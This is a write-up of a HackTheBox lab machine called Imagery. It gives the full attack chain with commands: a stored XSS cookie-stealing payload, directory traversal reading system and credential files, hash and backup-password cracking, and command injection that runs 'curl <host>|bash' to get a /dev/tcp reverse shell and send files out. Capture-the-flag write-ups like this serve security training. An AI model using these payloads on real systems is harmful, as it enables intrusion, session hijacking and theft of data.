Post

HackTheBox Writeup - Imagery

HackTheBox Writeup - Imagery

Recon


Hosts

pt command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ pt init '10.10.11.88 imagery.com'
+---------+--------+-------------+-------------+
| PROFILE | STATUS |     IP      |   DOMAIN    |
+---------+--------+-------------+-------------+
| imagery | on     | 10.10.11.88 | imagery.com |
+---------+--------+-------------+-------------+

╒═══════════╤══════════════╤═════════════╤══════════╤═════════════╕
│ profile   │ lhost        │ rhost       │ domain   │ ip          │
╞═══════════╪══════════════╪═════════════╪══════════╪═════════════╡
│ imagery   │ 10.10.14.109 │ imagery.com │          │ 10.10.11.88 │
╘═══════════╧══════════════╧═════════════╧══════════╧═════════════╛

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.95 scan initiated Wed Oct  1 02:22:17 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,8000, 10.129.114.191
Nmap scan report for 10.129.114.191
Host is up, received user-set (0.20s latency).
Scanned at 2025-10-01 02:22:18 CST for 13s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Image Gallery
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct  1 02:22:31 2025 -- 1 IP address (1 host up) scanned in 14.07 seconds

Info

1
http://10.129.114.191:8000 [200] [Image Gallery] [Werkzeug/3.1.3 Python/3.12.7] [4f66804d939187bf70c744d0a9953c52d372a823] [Flask:3.1.3,Python:3.12.7]

  • email : support@imagery.com

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ URL="http://$(pt get rhost):8000"; OUT="$(echo $URL | awk -F':' '{print $NF}' | sed -e 's|[/:]|-|g')"; feroxbuster -k -A -w <(cat /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt|anew) -u "$URL" -o "ferox_${OUT}.txt"

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://imagery.com:8000
 🚀  Threads               │ 50
 📖  Wordlist              │ /proc/self/fd/11
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ Random
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ ferox_8000.txt
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
405      GET        5l       20w      153c http://imagery.com:8000/login
401      GET        1l        4w       59c http://imagery.com:8000/images
405      GET        5l       20w      153c http://imagery.com:8000/register
405      GET        5l       20w      153c http://imagery.com:8000/logout
405      GET        5l       20w      153c http://imagery.com:8000/upload_image
200      GET       27l       48w      584c http://imagery.com:8000/static/fonts.css
200      GET        3l      282w    20343c http://imagery.com:8000/static/purify.min.js
200      GET       83l     9103w   407279c http://imagery.com:8000/static/tailwind.js
200      GET     2779l     9472w   146960c http://imagery.com:8000/
[####################] - 9m     63182/63182   0s      found:9       errors:0
[####################] - 9m     63168/63168   111/s   http://imagery.com:8000/ 

User Flag


Shell as web

Testing registration

We can register an account to login and access to functions

http://imagery.com:8000/

The website sends authentication status to /auth_status endpoint constantly, and it returns interesting attributes of the current user such as isAdmin, isTestuser

Tried registering a new user and tamper with those attributes, the registration was successful, but the backend didn’t bring them to database

Testing upload form

Tried the upload form, it strictly filters file extensions by whitelist, and HTML tags were purified to prevent XSS

There are several features greyed out in development

We can find their corresponding functions and endpoints from the page’s javascript source code

We can gather all endpoints from javascript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl -s http://imagery.com:8000 | grep -F 'fetch(' | awk -F'}/' '{print "/"$2}' | cut -d'`' -f 1
/auth_status?_t=${new Date().getTime()}
/register
/login
/logout
/images
/delete_image
/edit_image_details
/convert_image
/apply_visual_transform
/delete_image_metadata
/
/report_bug
/admin/bug_reports
/admin/delete_bug_report
/admin/delete_user
/admin/users
/get_image_collections
/create_image_collection
/move_images_to_collection

Testing admin endpoints

Some endpoints needs admin or testsuer role to access, the appearance of admin functions were controlled by front-end

But the backend also checks if user has access to admin endpoints

Admins could potentially download files from target machine via directory traversal

8000 - Bug report : Stored XSS

There’s a bug report function, what if the bug report viewing dashboard renders HTML tags?

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl -s http://imagery.com:8000 | grep -F 'fetch(' -A5
[...]
                const response = await fetch(`${window.location.origin}/report_bug`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ bugName, bugDetails })
                });
                const data = await response.json();
[...]

Start a HTTP server with verbose logging

1
PORT="80"; fuser -k "$PORT/tcp" 2>/dev/null; simplehttpserver -listen "0.0.0.0:$PORT" -verbose

Submit a bug report that tests for:

  1. <img> tag being rendered
  2. <a> tag’s link being clicked by a client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /report_bug HTTP/1.1
Host: imagery.com:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://imagery.com:8000/
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: session=.eJxNjTEKgDAMRe-SWRxFnXT0FCU2UQJtKqYOIt5dHRTH996HfwCJLQH3gaCFhoi5rhooQKynKArthMH4YSdx4dWSYhadXWbLm_H6X7zOofdp0_y1RypGvj_Gbix9inBei0ksEg.aOExnQ.Ax0YX33dW1y4hBLDroMVUVcwkgE
Priority: u=4
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 39

{"bugName": "<img src=\"http://10.10.14.96/a\"/><a href=\"http://10.10.14.96/b\">Test</a>","bugDetails":"<img src=\"http://10.10.14.96/c\"/><a href=\"http://10.10.14.96/d\">Test</a>"}

Our HTTP web server got a callback to /c (The bugDetails field) after about 1 minute

We can try to exfiltrate the user’s cookie, since our session cookies has HttpOnly set to flase

If HttpOnly was set to true, we could try using the user’s browser to send requests to /admin/get_system_logs for testing, then send the response back to our web server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /report_bug HTTP/1.1
Host: imagery.com:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://imagery.com:8000/
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: session=.eJxNjTEKgDAMRe-SWRxFnXT0FCU2UQJtKqYOIt5dHRTH996HfwCJLQH3gaCFhoi5rhooQKynKArthMH4YSdx4dWSYhadXWbLm_H6X7zOofdp0_y1RypGvj_Gbix9inBei0ksEg.aOExnQ.Ax0YX33dW1y4hBLDroMVUVcwkgE
Priority: u=4
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 116

{"bugName": "x","bugDetails":"Test!!!<img src=x onerror=this.src=\"http://10.10.14.96/c/\"+btoa(document.cookie);>"}

Web server log:

Decode the base64 encoded cookie

1
2
3
┌──(bravosec㉿fsociety)-[~/www]
└─$  echo c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFPRkFFdy44eHRKSTVGNzNVSHhGSjVKX05meE1wWWR6blU= | base64 -d
session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFAEw.8xtJI5F73UHxFJ5J_NfxMpYdznU               

Then we can set the cookie via browser’s dev tool

After refreshing the page, we got access to admin’s panel

8000 - Admin panel : Directory traversal

Nothing is interesting in the log files

But we read arbitrary files on the system via directory traversal

We can right click in burp then copy as bash command

Get users with a shell

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../etc/passwd' | grep sh$
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

Both normal users don’t have ssh private key configured

1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../home/mark/.ssh/'

┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../home/web/.ssh/id_rsa'
{"message":"Error reading file: 404 Not Found: The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.","success":false}

By guessing files based on flask app’s structure, we got the main source code

  • from config import * implies that there’s config.py or config directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../proc/self/cwd/app.py'
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)

Read config.py

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../proc/self/cwd/config.py'
import os
import ipaddress

DATA_STORE_PATH = 'db.json'
[...]
  • db.json stores admin and testuser’s password hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../proc/self/cwd/db.json'
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        }
    ],

We can extract them to a format for cracking

1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ curl --path-as-is -s -k -X $'GET' \
    -H $'Host: imagery.com:8000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Referer: http://imagery.com:8000/' -H $'Content-Length: 70' -H $'Upgrade-Insecure-Requests: 1' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Priority: u=0, i' \
    -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOFCLw.9e_mcDqrQRXENzJ9hc4scnio-Fg' \
    'http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../proc/self/cwd/db.json' | jq '.users[] | .username+":"+.password' -r | tee loot/db.json.hash
admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6

Only testuser’s hash was cracked

1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot]
└─$ hashcat loot/db.json.hash /opt/wordlists/rockyou.txt --user -m 0
hashcat (v6.2.6) starting
[...]

┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ hashcat loot/db.json.hash /opt/wordlists/rockyou.txt --user -m 0 --show
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6:iambatman

(Failed) 22 - SSH : Password spray

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ cssh $(pt get ip) 'mark' 'iambatman'
Warning: Permanently added '10.10.11.88' (ED25519) to the list of known hosts.
mark@10.10.11.88: Permission denied (publickey).

┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ cssh $(pt get ip) 'web' 'iambatman'
Warning: Permanently added '10.10.11.88' (ED25519) to the list of known hosts.
web@10.10.11.88: Permission denied (publickey).

8000 - Image crop : Command injection

After logging in as testuser@imagery.htb:iambatman, we access to functions that are in development

These functions made me wonder if they are vulnerable

Lets dump the source codes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ cat tmp.txt | awk '{print $2}' | sort -u | sed 's|$|.py|g' | tee to_download.txt
api_admin.py
api_auth.py
api_edit.py
api_manage.py
api_misc.py
api_upload.py
config.py
utils.py

┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ mkdir -p loot/web

┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ cat to_download.txt | while read -r file; do curl "http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../proc/self/cwd/$file" -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -b $'session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOG2qw.1FC5hGHGU4gLbMdGqF8nFhRkyw0' > "loot/web/$file"; done
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9784  100  9784    0     0  48793      0 --:--:-- --:--:-- --:--:-- 48920
[...]

Check interesting hidden routes

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ cd loot/web

┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot/web]
└─$ grep -rnE 'route\('
[...]
api_admin.py:96:@bp_admin.route('/admin/impersonate_testuser', methods=['POST'])
api_admin.py:140:@bp_admin.route('/admin/return_to_admin', methods=['POST'])
[...]

Check dangerous function names

  • There’s a subprocess.run() function with shell=True at line 45 in api_edit.py, which makes it vulnerable to command injection
1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Imagery/loot/web]
└─$ grep -rinE 'system\(|popen\(|check_output\(|safe\(|raw\(|cursor\(|eval\(|exec\(|run\('
api_edit.py:45:            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
api_edit.py:49:            subprocess.run(command, capture_output=True, text=True, check=True)
api_edit.py:53:            subprocess.run(command, capture_output=True, text=True, check=True)
api_edit.py:57:            subprocess.run(command, capture_output=True, text=True, check=True)
api_edit.py:61:            subprocess.run(command, capture_output=True, text=True, check=True)
api_edit.py:117:        subprocess.run(command, capture_output=True, text=True, check=True)
api_edit.py:181:        subprocess.run(command, capture_output=True, text=True, check=True)
1
2
vi api_edit.py
:45
  • The line of code is for /apply_visual_transform

  • We can control x, y, width, height parameters

Upload a new image for cropping

Back to galleries and click on Transform Image

Select Crop for the operation

Leave all options as default then Apply Transformation

Send that request from burp’s history to repeater

Start a reverse shell listener

1
nc -lvnp 1111

Host reverse shell script via HTTP server

1
PORT="80"; fuser -k "$PORT/tcp" 2>/dev/null; mkdir -p www && echo -e '#!/bin/sh\nsh -i >& /dev/tcp/10.10.14.96/1111 0>&1' > www/index.html && python -m http.server $PORT -d www

Inject ; curl 10.10.14.96|bash; in the x parameter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /apply_visual_transform HTTP/1.1
Host: imagery.com:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://imagery.com:8000/
Content-Type: application/json
Content-Length: 141
Origin: http://imagery.com:8000
Connection: keep-alive
Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aOFHZQ.6yzaIWvagsiWnhVVzAgJ5k0LtZ4
DNT: 1
Sec-GPC: 1
Priority: u=0

{"imageId":"056b2673-e663-4e75-a889-3980c9184c43","transformType":"crop","params":{"x":"; curl 10.10.14.96|bash;","y":0,"width":800,"height":450}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.96] from (UNKNOWN) [10.10.11.88] 41720
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/script -qc /bin/bash /dev/null
web@Imagery:~/web$ ^Z
zsh: suspended  nc -lvnp 1111

stty raw -echo;fg
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111
                               export TERM=xterm
web@Imagery:~/web$ stty rows 50 columns 209
web@Imagery:~/web$ id
uid=1001(web) gid=1001(web) groups=1001(web)

Shell as mark

Enumeration

Run linpeas

1
curl http://10.10.14.96:80/privesc_lin/linpeas.sh | bash -s --

We’ll find an AES encrypted file from a none-default backup folder /var/backup

It was encrypted by pyAesCrypt 6.1.1

1
2
3
4
5
6
bash-5.2$ file /var/backup/web_20250806_120723.zip.aes
bash: file: command not found
bash-5.2$ strings /var/backup/web_20250806_120723.zip.aes  | head
CREATED_BY
pyAesCrypt 6.1.1
[...]

Let’s transfer the file to our machine

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ nc -lvnp 21 > loot/web_20250806_120723.zip.aes
listening on [any] 21 ...
1
web@Imagery:~/web$ cat /var/backup/web_20250806_120723.zip.aes > /dev/tcp/10.10.14.96/21

Decrypt pyAesCrypt encrypted file

Get more info from the file

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ file loot/web_20250806_120723.zip.aes
loot/web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

We’ll find some code examples from https://github.com/marcobellaccini/pyAesCrypt by googling

We can write a script to brute force the password

crack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys, os
import pyAesCrypt


target_fp = sys.argv[1]
wordlist_fp = sys.argv[2]
out_fp = target_fp.split('.aes')[0]

for ln in open(wordlist_fp, 'rb'):
    pwd = ln.rstrip(b'\n\r').decode('utf-8', errors='ignore')
    try:
        pyAesCrypt.decryptFile(target_fp, out_fp, pwd)
        print(f"[+] {pwd}")
        break
    except Exception:
        pass

Cracked the password : bestfriends

1
2
3
4
5
6
7
8
9
10
11
12
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ uv add --script crack.py pyAesCrypt
Updated `crack.py`

┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ time uv run crack.py loot/web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt
[+] bestfriends

real    11.24s
user    11.03s
sys     0.16s
cpu     99%

We can use a simple bash one-liner to brute force the password, but it’s gonna take way longer to crack

1
uv tool install pyAesCrypt
1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/Imagery]
└─$ time cat /opt/wordlists/rockyou.txt | while read -r pass; do out=$(pyAesCrypt -d loot/web_20250806_120723.zip.aes -p "$pass" 2>&1); if ! echo "$out" | grep -q > 'Wrong password'; then echo "$pass"; break; fi; done
bestfriends
real    50.24s
user    0.02s
sys     0.00s
cpu     0%

